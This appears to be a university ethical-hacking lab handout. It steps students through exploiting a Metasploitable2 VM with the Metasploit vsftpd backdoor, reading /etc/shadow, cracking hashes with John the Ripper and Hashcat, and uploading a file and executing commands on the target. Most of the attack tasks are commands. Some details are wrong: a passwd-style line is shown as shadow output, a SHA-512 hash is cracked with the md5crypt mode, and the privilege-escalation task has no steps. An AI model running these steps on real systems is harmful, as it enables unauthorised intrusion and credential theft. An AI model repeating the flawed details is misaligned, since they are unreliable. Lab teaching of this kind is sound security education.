

NES555 — Lab 8: System Hacking & Password Cracking

Course: NES555 — Ethical Hacking Lab
Version: 2025-10-21
Estimated Duration: 2 Hours
Lab Environment: Kali Linux, Metasploitable2, OWASP Broken Web Applications (BWA)
Lab Type: Hands-on Practical

1. Introduction

In previous labs, you conducted footprinting, scanning, and enumeration. In this lab, you will move into the **system hacking phase** — gaining access to a target machine, escalating privileges, extracting password hashes, and performing password cracking using common tools such as **John the Ripper** and **Hashcat**.

You will use **Metasploit Framework** on Kali Linux to exploit a vulnerability on **Metasploitable2**, extract sensitive credential data, and attempt to recover plaintext passwords. This lab replicates a typical post-exploitation workflow used by penetration testers and ethical hackers.

2. Objectives

By the end of this lab, students will be able to:

- Use **Metasploit** to exploit a vulnerable target and establish a **meterpreter session**.
 - Perform **privilege escalation** and **hash extraction** from a compromised system.
 - Understand **post-exploitation techniques** such as maintaining access and hiding files.
 - Perform **offline password cracking** using **John the Ripper** and **Hashcat**.
 - Interpret password hash types and identify weaknesses in authentication mechanisms.
-

3. Lab Environment

Virtual Machine	Role	IP Address	Username	Password
Kali Linux	Attacker	192.168.68.254	root	toor

Virtual Machine	Role	IP Address	Username	Password
Metasploitable2	Target	192.168.68.10	msfadmin	msfadmin
OWASP BWA	Secondary Target (optional web exploits)	192.168.68.12	root	owaspbwa

Ensure all VMs are running and on the same host-only network.
You can confirm connectivity using:

```
ping 192.168.68.10
```

4. Tools Used

Tool	Description
Metasploit Framework	Exploitation and post-exploitation framework
Msfvenom	Payload creation utility
John the Ripper	Password hash cracking tool
Hashcat	GPU-based password cracking utility
Apache2	Web server used to host payloads
Nmap	Target discovery and port scanning

5. Lab Tasks

Task 1 — Identifying and Scanning the Target

Objective:

Identify reachable hosts and discover open services on Metasploitable2.

Steps:

1. On **Kali**, open a terminal and discover live hosts:
2. `nmap -sn 192.168.68.0/24`
3. Identify the **Metasploitable2** IP (e.g., 192.168.68.10).
Then perform a detailed scan:
4. `nmap -sS -sV -O 192.168.68.10`
5. Observe open ports — particularly **21 (FTP)**, **22 (SSH)**, **23 (Telnet)**, and **445 (SMB)**.
6. Note the OS fingerprint and any banner information (Linux 2.6.x is common on Metasploitable2).

Task 2 — Exploiting the Target with Metasploit

Objective:

Exploit a known vulnerability to gain a Meterpreter session.

Steps:

1. Start Metasploit Framework:

```
msfconsole
```

2. Search for a vulnerable service (example: vsftpd backdoor):

```
search vsftpd
```

3. Use the exploit:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

4. Set target parameters:

```
set RHOSTS 192.168.68.10  
run
```

5. If successful, you'll see:

```
Command shell session 1 opened...
```

6. Type:

```
sessions -i 1
```

to interact with the shell.

7. Run system info commands: (you can upgrade a normal shell session into a Meterpreter session using `sessions -u id`)

```
uname -a  
whoami  
cat /etc/shadow
```

Task 3 — Privilege Escalation and Hash Extraction

Objective:

Gain elevated privileges and extract password hashes.

You will see output similar to:

```
msfadmin:$1$H6Uks8/P$M0Lkdf2jR1...:0:0::/root:/bin/bash
```

1. Copy one of the hashes into a text file for cracking:

```
echo 'msfadmin:$1$H6Uks8/P$M0Lkdf2jR1...' > /root/hashes.txt
```

Task 4 — Password Cracking with John the Ripper

Objective:

Crack extracted password hashes.

Steps:

1. Use John to identify the hash type:

```
john --list=formats | grep md5
```

2. Run John with the hash file:

```
john /root/hashes.txt
```

3. Monitor progress — once cracked, display results:

```
john --show /root/hashes.txt
```

4. Record the recovered password (e.g., msfadmin).
-

Task 5 — Password Cracking with Hashcat

Objective:

Demonstrate GPU-based cracking on another hash sample.

Steps:

1. Create another password hash file:

```
echo '$6$hr7sD/...$K1DSmET8Q' > hashcat.txt
```

2. Get a small password file using `head -n 10 /usr/share/wordlists/rockyou.txt > rockyou2.txt`
3. Identify the hash mode:

```
hashid /root/hashcat.txt
```

(For md5 hashes, mode = 500)

4. Run Hashcat:

```
hashcat -m 500 hashcat.txt rockyou2.txt
```

5. Once completed, display cracked results:

```
hashcat -m 500 hashcat.txt --show
```

Task 6 — Post-Exploitation: Creating and Uploading a Script

Objective:

Demonstrate persistence by uploading a script from Kali to Metasploitable.

Steps:

1. In meterpreter (after upgrade to meterpreter using `sessions -u id`):

```
upload /usr/share/metasploit-framework/data/post/test.txt /tmp/
```

2. Verify upload on the target: `ls /tmp/`

3. Execute a command remotely:

```
execute -f /bin/bash -a "-c 'echo YOU_HAVE_BEEN_HACKED > /tmp/hacked.txt'"
```

4. Confirm file creation: `cat /tmp/hacked.txt`